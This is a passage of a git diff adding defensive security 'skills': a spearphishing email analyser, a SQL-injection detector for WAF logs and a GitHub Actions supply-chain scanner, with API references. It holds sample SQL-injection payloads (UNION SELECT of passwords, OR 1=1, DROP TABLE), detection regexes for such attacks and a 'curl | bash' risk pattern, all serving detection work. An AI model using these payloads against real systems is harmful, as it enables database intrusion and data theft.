NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-spearphishing-with-email-gateway/references/api-reference.md b/skills/detecting-spearphishing-with-email-gateway/references/api-reference.md new file mode 100644 index 00000000..f2fb4452 --- /dev/null +++ b/skills/detecting-spearphishing-with-email-gateway/references/api-reference.md @@ -0,0 +1,102 @@ +# API Reference: Spearphishing Detection via Email Gateway + +## Python email Module + +### Parse EML file +```python +import email +from email import policy + +with open("message.eml", "rb") as f: + msg = email.message_from_binary_file(f, policy=policy.default) +``` + +### Security Headers +| Header | Purpose | +|--------|---------| +| `Received-SPF` | SPF check result | +| `Authentication-Results` | SPF, DKIM, DMARC combined | +| `DKIM-Signature` | DKIM signing info | +| `ARC-Authentication-Results` | ARC chain results | +| `X-Mailer` | Client used to send | +| `Return-Path` | Envelope sender | + +### Authentication-Results Values +``` +Authentication-Results: mx.google.com; + dkim=pass header.d=example.com; + spf=pass smtp.mailfrom=example.com; + dmarc=pass +``` + +## SPF Record Lookup +```bash +dig TXT example.com | grep "v=spf1" +# v=spf1 include:_spf.google.com ~all +``` + +### SPF Results +| Result | Meaning | +|--------|---------| +| `pass` | Authorized sender | +| `fail` | Unauthorized (reject) | +| `softfail` | Unauthorized (accept with mark) | +| `neutral` | No assertion | +| `none` | No SPF record | + +## DKIM Verification +```bash +opendkim-testkey -d example.com -s selector -vvv +``` + +## DMARC Record +```bash +dig TXT _dmarc.example.com +# v=DMARC1; p=reject; rua=mailto:dmarc@example.com +``` + +## Microsoft Defender for Office 365 API + +### Get email threat assessment +```http +POST https://graph.microsoft.com/v1.0/informationProtection/threatAssessmentRequests +Authorization: Bearer {token} + +{ + "contentType": "mail", + "expectedAssessment": "block", + "category": "phishing", + "mailInfo": { + "internetMessageId": "" + } +} +``` + +## Proofpoint TAP API + +### Get blocked messages +```http +GET https://tap-api-v2.proofpoint.com/v2/siem/messages/blocked + ?sinceSeconds=3600 +Authorization: Basic {base64_credentials} +``` + +### Response Fields +| Field | Description | +|-------|-------------| +| `spamScore` | Spam confidence (0-100) | +| `phishScore` | Phishing confidence (0-100) | +| `threatsInfoMap` | Threat details array | +| `fromAddress` | Envelope sender | + +## Mimecast API — URL Protection + +### Decode Mimecast URL +```http +POST https://api.mimecast.com/api/ttp/url/decode-url +Authorization: MC {access-key}:{secret-key} + +{ + "data": [{"url": "https://protect.mimecast.com/..."}] +} +``` diff --git a/skills/detecting-spearphishing-with-email-gateway/scripts/agent.py b/skills/detecting-spearphishing-with-email-gateway/scripts/agent.py new file mode 100644 index 00000000..68aa0e69 --- /dev/null +++ b/skills/detecting-spearphishing-with-email-gateway/scripts/agent.py @@ -0,0 +1,166 @@ +#!/usr/bin/env python3 +"""Agent for detecting spearphishing emails using email gateway log analysis.""" + +import argparse +import email +import json +import os +import re +import sys +from collections import defaultdict +from datetime import datetime, timezone +from email import policy + + +EXECUTIVE_TITLES = [ + "ceo", "cfo", "cto", "cio", "coo", "president", "director", + "vp", "vice president", "managing director", "partner", +] +URGENCY_KEYWORDS = [ + "urgent", "immediate", "asap", "right away", "time sensitive", + "confidential", "do not share", "wire transfer", "bank account", + "update payment", "invoice attached", "past due", +] +SUSPICIOUS_EXTENSIONS = { + ".exe", ".scr", ".bat", ".cmd", ".ps1", ".vbs", ".js", + ".hta", ".lnk", ".iso", ".img", ".dll", ".msi", +} + + +def parse_email_headers(eml_path): + """Extract security-relevant headers from an email.""" + with open(eml_path, "rb") as f: + msg = email.message_from_binary_file(f, policy=policy.default) + headers = { + "from": msg.get("From", ""), + "to": msg.get("To", ""), + "subject": msg.get("Subject", ""), + "reply_to": msg.get("Reply-To", ""), + "return_path": msg.get("Return-Path", ""), + "received_spf": msg.get("Received-SPF", ""), + "dkim_signature": msg.get("DKIM-Signature", ""), + "authentication_results": msg.get("Authentication-Results", ""), + "x_mailer": msg.get("X-Mailer", ""), + "message_id": msg.get("Message-ID", ""), + } + return headers, msg + + +def check_authentication(headers): + """Verify SPF, DKIM, DMARC authentication results.""" + issues = [] + auth_results = headers.get("authentication_results", "").lower() + if "spf=fail" in auth_results or "spf=softfail" in auth_results: + issues.append("SPF validation failed") + if "dkim=fail" in auth_results: + issues.append("DKIM validation failed") + if "dmarc=fail" in auth_results: + issues.append("DMARC validation failed") + if not headers.get("dkim_signature"): + issues.append("No DKIM signature present") + from_domain = re.search(r"@([\w.-]+)", headers.get("from", "")) + reply_domain = re.search(r"@([\w.-]+)", headers.get("reply_to", "")) + if from_domain and reply_domain and from_domain.group(1) != reply_domain.group(1): + issues.append(f"Reply-To domain mismatch: {reply_domain.group(1)} vs {from_domain.group(1)}") + return issues + + +def check_content_indicators(msg): + """Analyze email body for spearphishing content indicators.""" + indicators = [] + body = "" + for part in msg.walk(): + if part.get_content_type() in ("text/plain", "text/html"): + payload = part.get_payload(decode=True) + if payload: + body += payload.decode("utf-8", errors="replace") + + body_lower = body.lower() + for kw in URGENCY_KEYWORDS: + if kw in body_lower: + indicators.append(f"Urgency keyword: '{kw}'") + + urls = re.findall(r'https?://[^\s<>"\']+', body) + for url in urls[:10]: + if re.search(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', url): + indicators.append(f"URL with IP address: {url[:80]}") + if len(url) > 100: + indicators.append(f"Unusually long URL: {url[:80]}...") + + attachments = [] + for part in msg.walk(): + fname = part.get_filename() + if fname: + ext = os.path.splitext(fname)[1].lower() + attachments.append(fname) + if ext in SUSPICIOUS_EXTENSIONS: + indicators.append(f"Suspicious attachment: {fname}") + if ".." in fname or ext == ".exe.pdf": + indicators.append(f"Double extension: {fname}") + + return indicators, attachments + + +def analyze_email(eml_path): + """Full spearphishing analysis of a single email.""" + headers, msg = parse_email_headers(eml_path) + auth_issues = check_authentication(headers) + content_indicators, attachments = check_content_indicators(msg) + + all_indicators = auth_issues + content_indicators + score = len(all_indicators) * 15 + risk = "CRITICAL" if score >= 75 else "HIGH" if score >= 50 else "MEDIUM" if score >= 25 else "LOW" + + return { + "file": eml_path, + "from": headers["from"], + "to": headers["to"], + "subject": headers["subject"], + "auth_issues": auth_issues, + "content_indicators": content_indicators, + "attachments": attachments, + "risk_score": min(score, 100), + "risk_level": risk, + } + + +def main(): + parser = argparse.ArgumentParser( + description="Detect spearphishing via email gateway analysis" + ) + parser.add_argument("input", help=".eml file or directory") + parser.add_argument("--output", "-o", help="Output JSON report") + parser.add_argument("--verbose", "-v", action="store_true") + args = parser.parse_args() + + print("[*] Spearphishing Detection Agent") + results = [] + + if os.path.isdir(args.input): + for root, _, files in os.walk(args.input): + for f in files: + if f.lower().endswith(".eml"): + results.append(analyze_email(os.path.join(root, f))) + else: + results.append(analyze_email(args.input)) + + flagged = [r for r in results if r["risk_level"] in ("HIGH", "CRITICAL")] + report = { + "timestamp": datetime.now(timezone.utc).isoformat(), + "emails_scanned": len(results), + "spearphishing_detected": len(flagged), + "results": results, + } + + print(f"[*] Scanned {len(results)} emails, {len(flagged)} flagged") + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"[*] Report saved to {args.output}") + else: + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/detecting-sql-injection-via-waf-logs/LICENSE b/skills/detecting-sql-injection-via-waf-logs/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-sql-injection-via-waf-logs/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-sql-injection-via-waf-logs/SKILL.md b/skills/detecting-sql-injection-via-waf-logs/SKILL.md new file mode 100644 index 00000000..2390bb50 --- /dev/null +++ b/skills/detecting-sql-injection-via-waf-logs/SKILL.md @@ -0,0 +1,34 @@ +--- +name: detecting-sql-injection-via-waf-logs +description: >- + Analyze WAF (ModSecurity/AWS WAF/Cloudflare) logs to detect SQL injection + attack campaigns. Parses ModSecurity audit logs and JSON WAF event logs to + identify SQLi patterns (UNION SELECT, OR 1=1, SLEEP(), BENCHMARK()), tracks + attack sources, correlates multi-stage injection attempts, and generates + incident reports with OWASP classification. +--- + +## Instructions + +1. Install dependencies: `pip install requests` +2. Collect WAF logs (ModSecurity audit log, AWS WAF JSON logs, or Cloudflare firewall events). +3. Run the agent to parse and analyze: + - Detect SQLi payloads via 15+ regex patterns + - Classify attacks by OWASP injection type (classic, blind, time-based, UNION-based) + - Identify persistent attackers by IP clustering + - Correlate multi-request injection campaigns + - Calculate attack success probability based on response codes + +```bash +python scripts/agent.py --log-file /var/log/modsec_audit.log --format modsecurity --output sqli_report.json +``` + +## Examples + +### ModSecurity SQLi Detection +``` +Rule 942100 triggered: SQL Injection Attack Detected via libinjection +URI: /api/users?id=1' UNION SELECT username,password FROM users-- +Source IP: 203.0.113.42 (47 requests in 5 minutes) +Classification: UNION-based SQLi campaign +``` diff --git a/skills/detecting-sql-injection-via-waf-logs/references/api-reference.md b/skills/detecting-sql-injection-via-waf-logs/references/api-reference.md new file mode 100644 index 00000000..d4f4f60b --- /dev/null +++ b/skills/detecting-sql-injection-via-waf-logs/references/api-reference.md @@ -0,0 +1,61 @@ +# API Reference: SQL Injection Detection via WAF Logs + +## ModSecurity Audit Log Sections +| Section | Content | +|---------|---------| +| A | Audit log header (timestamp, transaction ID) | +| B | Request headers (method, URI, HTTP version) | +| C | Request body | +| E | Response body | +| F | Response headers | +| H | Audit log trailer (rule matches, actions) | + +## OWASP CRS SQLi Rules (942xxx) +| Rule ID | Description | +|---------|-------------| +| 942100 | SQL Injection via libinjection | +| 942110 | SQL Injection (common keywords) | +| 942120 | SQL Injection operator detected | +| 942130 | SQL Injection tautology | +| 942150 | SQL Injection function detected | +| 942160 | Blind SQLi (sleep/benchmark) | +| 942170 | UNION query injection | +| 942190 | MSSQL code execution | +| 942200 | MySQL comment obfuscation | +| 942210 | Chained SQL injection | +| 942280 | PostgreSQL/MSSQL sleep | +| 942290 | MongoDB injection | + +## SQL Injection Types +| Type | Pattern | Severity | +|------|---------|----------| +| UNION-based | `UNION SELECT` | Critical | +| Time-based blind | `SLEEP()`, `BENCHMARK()`, `WAITFOR DELAY` | Critical | +| Error-based | `EXTRACTVALUE()`, `UPDATEXML()` | High | +| Tautology | `OR 1=1`, `AND 1=1` | High | +| Stacked query | `'; DROP TABLE` | Critical | +| Schema enum | `INFORMATION_SCHEMA` | High | +| File access | `LOAD_FILE()`, `INTO OUTFILE` | Critical | + +## AWS WAF Log Format (JSON) +```json +{ + "httpRequest": { + "clientIp": "203.0.113.42", + "uri": "/api/users", + "args": "id=1' OR 1=1--", + "httpMethod": "GET" + }, + "action": "BLOCK", + "ruleGroupList": [{"ruleId": "SQLi_BODY"}] +} +``` + +## Campaign Detection Logic +- Group requests by source IP +- Flag IPs with >= 5 SQLi attempts as campaigns +- IPs with > 20 requests classified as automated tooling +- Multiple attack types from same IP = multi-stage campaign + +## MITRE ATT&CK +- T1190 - Exploit Public-Facing Application diff --git a/skills/detecting-sql-injection-via-waf-logs/scripts/agent.py b/skills/detecting-sql-injection-via-waf-logs/scripts/agent.py new file mode 100644 index 00000000..a19a03e5 --- /dev/null +++ b/skills/detecting-sql-injection-via-waf-logs/scripts/agent.py @@ -0,0 +1,233 @@ +#!/usr/bin/env python3 +"""SQL Injection WAF Log Analysis Agent - Detects SQLi attacks from ModSecurity and WAF logs.""" + +import json +import re +import os +import logging +import argparse +from datetime import datetime +from collections import defaultdict + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + +SQLI_PATTERNS = [ + (r"(?i)\bUNION\s+(?:ALL\s+)?SELECT\b", "UNION-based", "critical"), + (r"(?i)\bOR\s+['\"]?\d+['\"]?\s*=\s*['\"]?\d+", "Tautology (OR 1=1)", "high"), + (r"(?i)\bAND\s+['\"]?\d+['\"]?\s*=\s*['\"]?\d+", "Tautology (AND 1=1)", "high"), + (r"(?i)\bSLEEP\s*\(\s*\d+\s*\)", "Time-based blind (SLEEP)", "critical"), + (r"(?i)\bBENCHMARK\s*\(", "Time-based blind (BENCHMARK)", "critical"), + (r"(?i)\bWAITFOR\s+DELAY\b", "Time-based blind (WAITFOR)", "critical"), + (r"(?i)['\"]\s*;\s*(?:DROP|DELETE|UPDATE|INSERT)\b", "Stacked query", "critical"), + (r"(?i)\bINFORMATION_SCHEMA\b", "Schema enumeration", "high"), + (r"(?i)\bLOAD_FILE\s*\(", "File read (LOAD_FILE)", "critical"), + (r"(?i)\bINTO\s+(?:OUT|DUMP)FILE\b", "File write (INTO OUTFILE)", "critical"), + (r"(?i)\bCONCAT\s*\(.*\bSELECT\b", "Nested SELECT in CONCAT", "high"), + (r"(?i)\bGROUP_CONCAT\s*\(", "Data extraction (GROUP_CONCAT)", "high"), + (r"(?i)\bEXTRACTVALUE\s*\(", "Error-based (EXTRACTVALUE)", "high"), + (r"(?i)\bUPDATEXML\s*\(", "Error-based (UPDATEXML)", "high"), + (r"(?i)(?:--|#|/\*)\s*$", "Comment termination", "medium"), + (r"(?i)\bCHAR\s*\(\s*\d+(?:\s*,\s*\d+)*\s*\)", "CHAR() encoding bypass", "medium"), + (r"(?i)0x[0-9a-f]{6,}", "Hex encoding bypass", "medium"), +] + +MODSEC_RULE_MAP = { + "942100": "SQL Injection via libinjection", + "942110": "SQL Injection (common keywords)", + "942120": "SQL Injection operator", + "942130": "SQL Injection tautology", + "942140": "SQL Injection (DB names)", + "942150": "SQL Injection (functions)", + "942160": "SQL Injection blind test (sleep/benchmark)", + "942170": "SQL Injection (UNION query)", + "942180": "SQL Injection bypass (basic auth)", + "942190": "SQL Injection (MSSQL exec)", + "942200": "SQL Injection (MySQL comment/space obfuscation)", + "942210": "SQL Injection (chained)", + "942220": "SQL Injection (integer overflow)", + "942230": "SQL Injection (conditional)", + "942240": "SQL Injection (MySQL charset switch)", + "942250": "SQL Injection (MATCH AGAINST)", + "942260": "SQL Injection bypass (basic auth 2)", + "942270": "SQL Injection (common DB names)", + "942280": "SQL Injection (pg_sleep/waitfor)", + "942290": "SQL Injection (MongoDB)", +} + + +def parse_modsecurity_audit_log(log_file): + """Parse ModSecurity audit log format.""" + entries = [] + current_entry = {} + current_section = None + + with open(log_file, "r", encoding="utf-8", errors="ignore") as f: + for line in f: + line = line.rstrip() + if line.startswith("--") and line.endswith("-A--"): + if current_entry: + entries.append(current_entry) + current_entry = {"id": line.strip("-A-").strip("-"), "sections": {}} + current_section = "A" + elif line.startswith("--") and re.match(r"--\w+-[A-Z]--$", line): + current_section = line[-3] + elif current_section: + current_entry.setdefault("sections", {}) + current_entry["sections"].setdefault(current_section, []) + current_entry["sections"][current_section].append(line) + + if current_entry: + entries.append(current_entry) + logger.info("Parsed %d ModSecurity audit log entries", len(entries)) + return entries + + +def parse_json_waf_log(log_file): + """Parse JSON-formatted WAF logs (AWS WAF, Cloudflare).""" + entries = [] + with open(log_file, "r", encoding="utf-8", errors="ignore") as f: + for line in f: + try: + entry = json.loads(line.strip()) + entries.append(entry) + except json.JSONDecodeError: + continue + logger.info("Parsed %d JSON WAF log entries", len(entries)) + return entries + + +def classify_sqli(payload): + """Classify SQL injection type and severity from payload string.""" + matches = [] + for pattern, attack_type, severity in SQLI_PATTERNS: + if re.search(pattern, payload): + matches.append({"type": attack_type, "severity": severity}) + return matches + + +def analyze_modsecurity_entries(entries): + """Analyze parsed ModSecurity entries for SQLi attacks.""" + findings = [] + for entry in entries: + sections = entry.get("sections", {}) + request_lines = sections.get("B", []) + header_lines = sections.get("H", []) + + request_uri = "" + source_ip = "" + rule_ids = [] + + if request_lines: + first_line = request_lines[0] + parts = first_line.split(" ") + if len(parts) >= 2: + request_uri = parts[1] + + for line in header_lines: + m = re.search(r"id\s*\"(\d+)\"", line) + if m: + rule_ids.append(m.group(1)) + m = re.search(r"Remote-Addr:\s*(\S+)", line) + if m: + source_ip = m.group(1) + + sqli_rules = [rid for rid in rule_ids if rid in MODSEC_RULE_MAP] + if sqli_rules: + sqli_classes = classify_sqli(request_uri) + findings.append({ + "source_ip": source_ip, + "request_uri": request_uri[:500], + "rules_triggered": [{"id": r, "desc": MODSEC_RULE_MAP.get(r, "Unknown")} for r in sqli_rules], + "sqli_classification": sqli_classes if sqli_classes else [{"type": "WAF rule match", "severity": "high"}], + "severity": "critical" if any(c["severity"] == "critical" for c in sqli_classes) else "high", + }) + return findings + + +def analyze_json_waf_entries(entries): + """Analyze JSON WAF log entries for SQLi patterns.""" + findings = [] + for entry in entries: + uri = entry.get("httpRequest", {}).get("uri", "") or entry.get("ClientRequestURI", "") + args = entry.get("httpRequest", {}).get("args", "") or entry.get("queryString", "") + source_ip = entry.get("httpRequest", {}).get("clientIp", "") or entry.get("ClientIP", "") + action = entry.get("action", "") or entry.get("Action", "") + + payload = f"{uri}?{args}" if args else uri + sqli_classes = classify_sqli(payload) + + if sqli_classes: + findings.append({ + "source_ip": source_ip, + "request_uri": payload[:500], + "action": action, + "sqli_classification": sqli_classes, + "severity": max((c["severity"] for c in sqli_classes), key=lambda s: {"critical": 3, "high": 2, "medium": 1}.get(s, 0)), + }) + return findings + + +def correlate_campaigns(findings, time_window_sec=300, min_requests=5): + """Identify SQLi attack campaigns by source IP clustering.""" + ip_groups = defaultdict(list) + for f in findings: + ip_groups[f["source_ip"]].append(f) + + campaigns = [] + for ip, group in ip_groups.items(): + if len(group) >= min_requests: + attack_types = set() + for f in group: + for c in f.get("sqli_classification", []): + attack_types.add(c["type"]) + campaigns.append({ + "source_ip": ip, + "request_count": len(group), + "attack_types": list(attack_types), + "severity": "critical" if len(attack_types) > 2 else "high", + "classification": "automated" if len(group) > 20 else "manual", + }) + logger.warning("SQLi campaign: %s (%d requests, %d attack types)", ip, len(group), len(attack_types)) + return campaigns + + +def generate_report(findings, campaigns): + """Generate SQLi detection report.""" + critical = [f for f in findings if f.get("severity") == "critical"] + report = { + "timestamp": datetime.utcnow().isoformat(), + "total_sqli_events": len(findings), + "critical_events": len(critical), + "unique_sources": len(set(f["source_ip"] for f in findings if f.get("source_ip"))), + "campaigns_detected": len(campaigns), + "campaigns": campaigns, + "top_findings": findings[:100], + } + print(f"SQLI REPORT: {len(findings)} events, {len(campaigns)} campaigns, {len(critical)} critical") + return report + + +def main(): + parser = argparse.ArgumentParser(description="SQL Injection WAF Log Analysis Agent") + parser.add_argument("--log-file", required=True, help="WAF log file path") + parser.add_argument("--format", choices=["modsecurity", "json"], default="modsecurity") + parser.add_argument("--output", default="sqli_report.json") + args = parser.parse_args() + + if args.format == "modsecurity": + entries = parse_modsecurity_audit_log(args.log_file) + findings = analyze_modsecurity_entries(entries) + else: + entries = parse_json_waf_log(args.log_file) + findings = analyze_json_waf_entries(entries) + + campaigns = correlate_campaigns(findings) + report = generate_report(findings, campaigns) + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/detecting-stuxnet-style-attacks/LICENSE b/skills/detecting-stuxnet-style-attacks/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-stuxnet-style-attacks/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-supply-chain-attacks-in-ci-cd/LICENSE b/skills/detecting-supply-chain-attacks-in-ci-cd/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-supply-chain-attacks-in-ci-cd/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-supply-chain-attacks-in-ci-cd/SKILL.md b/skills/detecting-supply-chain-attacks-in-ci-cd/SKILL.md new file mode 100644 index 00000000..d32cd618 --- /dev/null +++ b/skills/detecting-supply-chain-attacks-in-ci-cd/SKILL.md @@ -0,0 +1,46 @@ +--- +name: detecting-supply-chain-attacks-in-ci-cd +description: > + Scans GitHub Actions workflows and CI/CD pipeline configurations for supply chain + attack vectors including unpinned actions, script injection via expressions, dependency + confusion, and secrets exposure. Uses PyGithub and YAML parsing for automated audit. + Use when hardening CI/CD pipelines or investigating compromised build systems. +--- + +# Detecting Supply Chain Attacks in CI/CD + +## Instructions + +Scan CI/CD workflow files for supply chain risks by parsing GitHub Actions YAML, +checking for unpinned dependencies, script injection vectors, and secrets exposure. + +```python +import yaml +from pathlib import Path + +for wf in Path(".github/workflows").glob("*.yml"): + with open(wf) as f: + workflow = yaml.safe_load(f) + for job_name, job in workflow.get("jobs", {}).items(): + for step in job.get("steps", []): + uses = step.get("uses", "") + if uses and "@" in uses and not uses.split("@")[1].startswith("sha"): + print(f"Unpinned action: {uses} in {wf.name}") +``` + +Key supply chain risks: +1. Unpinned GitHub Actions (using @main instead of SHA) +2. Script injection via ${{ github.event }} expressions +3. Overly permissive GITHUB_TOKEN permissions +4. Third-party actions with write access to repo +5. Dependency confusion via public/private package name collision + +## Examples + +```python +# Check for script injection in run steps +for step in job.get("steps", []): + run_cmd = step.get("run", "") + if "${{" in run_cmd and "github.event" in run_cmd: + print(f"Script injection risk: {run_cmd[:80]}") +``` diff --git a/skills/detecting-supply-chain-attacks-in-ci-cd/references/api-reference.md b/skills/detecting-supply-chain-attacks-in-ci-cd/references/api-reference.md new file mode 100644 index 00000000..a03ad097 --- /dev/null +++ b/skills/detecting-supply-chain-attacks-in-ci-cd/references/api-reference.md @@ -0,0 +1,55 @@ +# API Reference: Detecting Supply Chain Attacks in CI/CD + +## GitHub Actions Workflow Parsing + +```python +import yaml + +with open(".github/workflows/ci.yml") as f: + wf = yaml.safe_load(f) + +# Key fields +wf["permissions"] # Workflow-level permissions +wf["jobs"]["build"]["steps"] # Step list +step["uses"] # Action reference (owner/repo@ref) +step["run"] # Shell script +step["env"] # Environment variables +``` + +## Supply Chain Risk Patterns + +| Risk | Pattern | Severity | +|------|---------|----------| +| Unpinned action | `uses: owner/action@main` | CRITICAL | +| Mutable tag | `uses: owner/action@v1` | MEDIUM | +| Script injection | `run: echo ${{ github.event.issue.title }}` | CRITICAL | +| Write permissions | `permissions: write-all` | HIGH | +| Curl pipe bash | `RUN curl \| bash` | HIGH | +| Latest image tag | `FROM image:latest` | MEDIUM | + +## Dependency Confusion Check + +```python +import requests +# Check if private package exists on public registry +resp = requests.get(f"https://registry.npmjs.org/{pkg}") +exists = resp.status_code == 200 + +resp = requests.get(f"https://pypi.org/pypi/{pkg}/json") +exists = resp.status_code == 200 +``` + +## Pinning Actions to SHA + +```yaml +# Bad: mutable reference +uses: actions/checkout@main +# Good: pinned to commit SHA +uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608 +``` + +### References + +- GitHub Actions security hardening: https://docs.github.com/en/actions/security-guides +- StepSecurity: https://github.com/step-security/harden-runner +- Dependency confusion: https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610 diff --git a/skills/detecting-supply-chain-attacks-in-ci-cd/scripts/agent.py b/skills/detecting-supply-chain-attacks-in-ci-cd/scripts/agent.py new file mode 100644 index 00000000..b5edfbf9 --- /dev/null +++ b/skills/detecting-supply-chain-attacks-in-ci-cd/scripts/agent.py @@ -0,0 +1,202 @@ +#!/usr/bin/env python3 +"""Agent for detecting supply chain attacks in CI/CD pipelines.""" + +import os +import re +import json +import argparse +from pathlib import Path +from datetime import datetime + +import yaml +import requests + + +def scan_workflow_file(workflow_path): + """Scan a single GitHub Actions workflow file for supply chain risks.""" + with open(workflow_path) as f: + workflow = yaml.safe_load(f) + if not workflow or not isinstance(workflow, dict): + return [] + findings = [] + permissions = workflow.get("permissions", {}) + if permissions == "write-all" or (isinstance(permissions, dict) and + permissions.get("contents") == "write"): + findings.append({ + "file": str(workflow_path), + "issue": "Overly permissive workflow permissions", + "severity": "HIGH", + "detail": f"permissions: {permissions}", + }) + for job_name, job in workflow.get("jobs", {}).items(): + for i, step in enumerate(job.get("steps", [])): + uses = step.get("uses", "") + if uses: + findings.extend(check_action_pinning(str(workflow_path), job_name, uses)) + run_cmd = step.get("run", "") + if run_cmd: + findings.extend(check_script_injection(str(workflow_path), job_name, run_cmd)) + env_vars = step.get("env", {}) + for key, val in (env_vars or {}).items(): + if isinstance(val, str) and "${{" in val and "secrets." in val: + if "run" in step: + findings.append({ + "file": str(workflow_path), + "job": job_name, + "issue": "Secret passed to environment variable in run step", + "severity": "MEDIUM", + "detail": f"{key}={val[:60]}", + }) + return findings + + +def check_action_pinning(filepath, job_name, uses): + """Check if a GitHub Action is pinned to a commit SHA.""" + findings = [] + if "@" not in uses: + return findings + ref = uses.split("@")[1] + if re.match(r'^[0-9a-f]{40}$', ref): + return findings + if ref in ("main", "master", "latest"): + findings.append({ + "file": filepath, + "job": job_name, + "issue": f"Action pinned to mutable branch: {uses}", + "severity": "CRITICAL", + }) + elif re.match(r'^v\d+', ref): + findings.append({ + "file": filepath, + "job": job_name, + "issue": f"Action pinned to mutable tag: {uses}", + "severity": "MEDIUM", + "recommendation": "Pin to full commit SHA instead of tag", + }) + return findings + + +def check_script_injection(filepath, job_name, run_cmd): + """Check for script injection via GitHub context expressions.""" + findings = [] + injection_patterns = [ + r"\$\{\{\s*github\.event\.issue\.title", + r"\$\{\{\s*github\.event\.issue\.body", + r"\$\{\{\s*github\.event\.pull_request\.title", + r"\$\{\{\s*github\.event\.pull_request\.body", + r"\$\{\{\s*github\.event\.comment\.body", + r"\$\{\{\s*github\.event\.review\.body", + r"\$\{\{\s*github\.head_ref", + ] + for pattern in injection_patterns: + if re.search(pattern, run_cmd): + findings.append({ + "file": filepath, + "job": job_name, + "issue": f"Script injection via untrusted input", + "severity": "CRITICAL", + "pattern": pattern, + "detail": run_cmd[:100], + }) + return findings + + +def scan_directory(directory): + """Scan all workflow files in a directory.""" + all_findings = [] + workflow_dir = Path(directory) / ".github" / "workflows" + if not workflow_dir.exists(): + workflow_dir = Path(directory) + for wf in workflow_dir.glob("*.yml"): + all_findings.extend(scan_workflow_file(str(wf))) + for wf in workflow_dir.glob("*.yaml"): + all_findings.extend(scan_workflow_file(str(wf))) + return all_findings + + +def check_dependency_confusion(package_name, registry="npm"): + """Check if a private package name exists on public registries.""" + urls = { + "npm": f"https://registry.npmjs.org/{package_name}", + "pypi": f"https://pypi.org/pypi/{package_name}/json", + } + url = urls.get(registry) + if not url: + return {"exists_publicly": False} + try: + resp = requests.get(url, timeout=10) + return { + "package": package_name, + "registry": registry, + "exists_publicly": resp.status_code == 200, + "severity": "HIGH" if 